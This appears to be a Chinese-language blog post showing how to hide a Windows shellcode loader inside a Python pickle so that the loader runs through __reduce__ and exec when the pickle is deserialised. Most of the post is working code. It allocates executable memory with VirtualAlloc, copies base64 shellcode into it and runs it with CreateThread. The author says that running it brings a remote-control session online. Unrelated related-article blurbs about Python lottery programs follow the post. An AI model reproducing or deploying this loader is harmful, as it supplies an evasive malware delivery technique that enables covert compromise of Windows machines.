PHP中的__wakeup类似,Python中的__reduce__方法在对象被反序列化的时候执行。

shellcodeloader_serialize.py

import pickle
import base64
shellcodeloader = """
import ctypes,base64,time
#这里不能直接存在空字节,反序列化的时候会出错,所以要处理一下
shellcode = base64.b64decode(b'/EiD5PDoyAAAAE....')
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),  
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),  
    ctypes.c_int(0x40) 
    )
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0)) 
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
class AAA(object):
    def __reduce__(self):
        return (exec, (shellcodeloader,))
seri = pickle.dumps(AAA())
seri_base64 = base64.b64encode(seri)
print(seri_base64)

unserialize_shellcodeloader.py

import base64,pickle
shellcodeloader = b'gASVwgcAAAAAAACMCGJ1aWx0aW5zlIwEZX............'
pickle.loads(base64.b64decode(shellcodeloader))

运行上面代码,即可上线:

相关文章
|
6月前
|
存储 算法 数据库
Python 抽奖程序限定次数详解
构建Python抽奖程序,限定用户抽奖次数,使用字典存储用户ID及抽奖次数。`LotterySystem`类包含判断、记录和抽奖方法。当用户达到最大抽奖次数(默认3次)时,禁止继续。示例展示如何创建系统,模拟用户抽奖,并扩展功能如动态调整次数和多用户、多奖品池。性能优化可通过数据持久化和并发控制实现。
|
6月前
|
存储 数据库 文件存储
Python中实现限定抽奖次数的机制的项目实践
本文介绍了如何在Python中实现限定抽奖次数的机制。通过选择合适的数据结构、设计清晰的逻辑流程以及编写简洁明了的代码,我们可以轻松地实现这一功能。同时,我们还探讨了如何对系统进行扩展和优化,以满足更多的实际需求。希望本文能对新手在开发抽奖系统时有所帮助。
|
7月前
|
JSON 数据格式 Python
13 Python 阶段性总结抽奖系统(文末附代码地址)
13 Python 阶段性总结抽奖系统(文末附代码地址)
103 0
13 Python 阶段性总结抽奖系统(文末附代码地址)
|
Python
python之实现班级随机抽奖
python之实现班级随机抽奖
|
C++ Python
Python+Qt抽奖点名工具源码窗体程序
Python+Qt抽奖点名工具源码窗体程序
154 0
Python+Qt抽奖点名工具源码窗体程序
抽奖!Python高手之路
抽奖!Python高手之路
|
Shell Go 数据安全/隐私保护
Go/Python 免杀
Go/Python 免杀
|
Python
年会抽奖如何用 Python让自己变成天选之子
年会抽奖如何用 Python让自己变成天选之子
122 0
|
18天前
|
人工智能 数据可视化 数据挖掘
探索Python编程:从基础到高级
在这篇文章中,我们将一起深入探索Python编程的世界。无论你是初学者还是有经验的程序员,都可以从中获得新的知识和技能。我们将从Python的基础语法开始,然后逐步过渡到更复杂的主题,如面向对象编程、异常处理和模块使用。最后,我们将通过一些实际的代码示例,来展示如何应用这些知识解决实际问题。让我们一起开启Python编程的旅程吧!
|
17天前
|
存储 数据采集 人工智能
Python编程入门:从零基础到实战应用
本文是一篇面向初学者的Python编程教程,旨在帮助读者从零开始学习Python编程语言。文章首先介绍了Python的基本概念和特点,然后通过一个简单的例子展示了如何编写Python代码。接下来,文章详细介绍了Python的数据类型、变量、运算符、控制结构、函数等基本语法知识。最后,文章通过一个实战项目——制作一个简单的计算器程序,帮助读者巩固所学知识并提高编程技能。